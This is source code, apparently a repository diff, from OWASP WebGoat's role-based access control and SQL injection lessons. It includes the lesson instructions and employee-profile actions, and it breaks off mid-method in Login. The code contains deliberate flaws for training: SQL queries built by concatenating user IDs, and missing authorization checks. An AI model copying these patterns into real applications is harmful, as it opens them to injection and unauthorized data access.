public final static String STAGE4 = "Add Data Layer Access Control";
protected void registerActions(String className) {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CommandInjection object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Many sites attempt to restrict access to resources by role.");
hints
.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources.");
// Stage 1
hints
.add("How does the application know that the user selected the delete function?");
// Stage 2
// Stage 3
hints
.add("How does the application know that the user selected any particular employee to view?");
// Stage 4
hints
.add("Note that the contents of the staff listing change depending on who is logged in.");
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4};
return new String[] {STAGE1, STAGE3};
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Bypass Presentational Layer Access Control.<br>"
+ "As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. "
+ "Verify that Tom's profile can be deleted.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Add Business Layer Access Control.<br>"
+ "Implement a fix to deny unauthorized access to the Delete function. "
+ "Repeat stage 1. Verify that access to Delete is properly denied.";
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Breaking Data Layer Access Control.<br>"
+ "As regular employee 'Tom', exploit weak access control to View another employee's profile. Verify the access.";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Add Data Layer Access Control.<br>"
+ "Implement a fix to deny unauthorized access to this data. "
+ "Repeat stage 3. Verify that access to other employee's profiles is properly denied.";
}
}
return instructions;
}
public void handleRequest(WebSession s)
{
// Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
//System.out.println("Requested lesson action: " + requestedActionName);
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
action.handleRequest(s);
}
else
{
if (action.isAuthenticated(s))
{
action.handleRequest(s);
}
else
throw new UnauthenticatedException();
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
// Update lesson status if necessary.
String stage = getStage(s);
if (STAGE2.equals(stage))
{
try
{
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) &&
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
} catch (ParameterNotFoundException pnfe)
{
pnfe.printStackTrace();
}
}
//System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{
//System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "."
+ RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, STAGE4);
}
} catch (Exception e)
{
// swallow this - shouldn't happen inthe normal course
// e.printStackTrace();
}
}
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
public void handleRequest_BACKUP(WebSession s)
{
// Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
//System.out.println("Requested lesson action: " + requestedActionName);
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
action.handleRequest(s);
}
else
{
if (action.isAuthenticated(s))
{
int userId = action.getUserId(s);
if (action.isAuthorized(s, userId, action
.getActionName()))
{
action.handleRequest(s);
}
else
{
throw new UnauthorizedException();
}
}
else
throw new UnauthenticatedException();
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
String stage = getStage(s);
// Update lesson status if necessary.
if (STAGE2.equals(stage))
{
try
{
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) &&
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
} catch (ParameterNotFoundException pnfe)
{
pnfe.printStackTrace();
}
}
//System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{
//System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "."
+ RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, STAGE4);
}
} catch (Exception e)
{
// swallow this - shouldn't happen inthe normal course
// e.printStackTrace();
}
}
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: Role Based Access Control";
}
}

300
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/UpdateProfile.java Normal file
View File

@ -0,0 +1,300 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int subjectId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(
RoleBasedAccessControl.FIRST_NAME);
String lastName = s.getParser().getStringParameter(
RoleBasedAccessControl.LAST_NAME);
String ssn = s.getParser().getStringParameter(
RoleBasedAccessControl.SSN);
String title = s.getParser().getStringParameter(
RoleBasedAccessControl.TITLE);
String phone = s.getParser().getStringParameter(
RoleBasedAccessControl.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(
RoleBasedAccessControl.ADDRESS1);
String address2 = s.getParser().getStringParameter(
RoleBasedAccessControl.ADDRESS2);
int manager = s.getParser().getIntParameter(
RoleBasedAccessControl.MANAGER);
String startDate = s.getParser().getStringParameter(
RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(
RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(
RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(
RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
RoleBasedAccessControl.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName,
ssn, title, phone, address1, address2, manager, startDate,
salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes, personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void changeEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectId, Employee employee) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.executeUpdate(query);
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
protected int getNextUID(WebSession s)
{
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
}

230
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java Normal file
View File

@ -0,0 +1,230 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
updateLessonStatus(s);
}
private void updateLessonStatus(WebSession s)
{
// If the logged in user is not authorized to see the given employee's data, stage is complete.
try
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (RoleBasedAccessControl.STAGE3.equals(getStage(s))
&& !isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, RoleBasedAccessControl.STAGE3);
}
}
catch (ParameterNotFoundException e)
{}
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
}

175
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ListStaff.java Normal file
View File

@ -0,0 +1,175 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ListStaff extends DefaultLessonAction
{
public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
List employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return SQLInjection.LISTSTAFF_ACTION;
}
public List getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
public List getAllEmployees_BACKUP(WebSession s, int userId)
throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
}

297
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/Login.java Normal file
View File

@ -0,0 +1,297 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Login extends DefaultLessonAction
{
private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null;
try
{
employeeId = s.getParser().getStringParameter(
SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(
SQLInjection.PASSWORD);
// Attempt authentication
boolean authenticated = login(s, employeeId, password);
updateLessonStatus(s);
if (authenticated)
{
// Execute the chained Action if authentication succeeded.
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
}
}
public String getNextPage(WebSession s)
{
String nextPage = SQLInjection.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
